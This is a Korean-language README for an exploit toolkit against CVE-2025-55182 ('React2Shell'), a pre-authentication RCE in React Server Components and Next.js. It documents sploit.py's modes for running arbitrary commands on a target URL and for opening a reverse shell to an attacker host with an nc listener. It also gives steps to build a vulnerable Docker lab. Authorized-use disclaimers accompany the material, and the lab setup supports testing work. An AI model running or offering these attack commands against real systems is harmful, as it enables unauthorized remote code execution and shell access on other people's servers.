
react2Shell Next.js RCE를 통해 검증, 악용 및 대화형 셸 획득을 위한 간단한 툴킷입니다.
[!WARNING] 이 도구는 공인된 테스트 및 교육 목적으로만 제공됩니다. 승인되지 않은 네트워크 접근과 데이터 유출은 불법입니다. 사용자는 이 도구를 어떤 네트워크에서 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.
이 저장소는 React2Shell이라고도 알려진 CVE-2025-55182를 통해 검증, 익스플로잇 및 대화형 셸 확보를 수행하는 간단한 툴킷을 포함합니다. 이는 React Server Components(RSC)의 치명적인 사전 인증 원격 코드 실행(RCE) 취약점으로, 19.0.0, 19.1.0, 19.1.1 및 19.2.0 버전에 영향을 미칩니다.
이 취약점은 React의 Flight 프로토콜에서의 안전하지 않은 역직렬화에서 비롯되며, 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 2025년 12월 3일에 공개되었으며 CVSS 점수는 10.0(치명적)입니다. 주로 React Server Components에 영향을 미치지만, RSC를 사용하는 Next.js와 같은 프레임워크에도 영향이 있습니다.
참고: 이 툴킷은 교육 및 연구 목적으로만 제공됩니다. 승인되지 않은 취약점 익스플로잇은 불법적이고 비윤리적입니다. 책임감 있게, 그리고 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하세요.
자세한 내용은 공식 권고를 참조하세요:
requests, argparse(pip install -r requirements.txt로 설치)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
메인 스크립트는 sploit.py입니다. 다음 옵션과 함께 실행하세요:
python sploit.py --help
--target <URL>: 대상 URL(예: http://vulnerable-site.com).--mode <validate|sploit|shell>: 작동 모드.
validate: 익스플로잇 없이 취약점을 확인합니다.sploit: 사용자 지정 명령을 실행합니다.shell: 대화형 리버스 셸을 설정합니다.--command <CMD>: 실행할 명령(sploit 모드 필수).--lhost <IP>: 리버스 셸용 로컬 호스트(shell 모드 필수).--lport <PORT>: 리버스 셸용 로컬 포트(기본값: 4444).취약점 검증:
python sploit.py --target http://example.com --mode validate
명령 실행 익스플로잇:
python sploit.py --target http://example.com --mode sploit --command "whoami"
대화형 셸 확보:
먼저 리스너를 설정하세요(예: nc -lvnp 4444), 그런 다음:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
기술적 심층 분석은 다음을 참조하세요:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000 끝났습니다. 컨테이너는 2초 이내에 시작되며 프로토타입 오염 → RCE 체인을 실행할 준비가 됩니다.
언제든지 삭제 후 재시작할 수 있는 원라이너(선택 사항): bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
위협 인텔리전스는 AWS 보안 블로그를 참조하세요.
이 도구는 보증 없이 "있는 그대로" 제공됩니다. 저자는 이 툴킷으로 인한 오용이나 손해에 대해 책임지지 않습니다. 취약점을 테스트하기 전에 항상 허가를 받으세요.
Pull Request는 언제나 환영합니다! 큰 변경 사항이 있다면 먼저 이슈를 열어 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
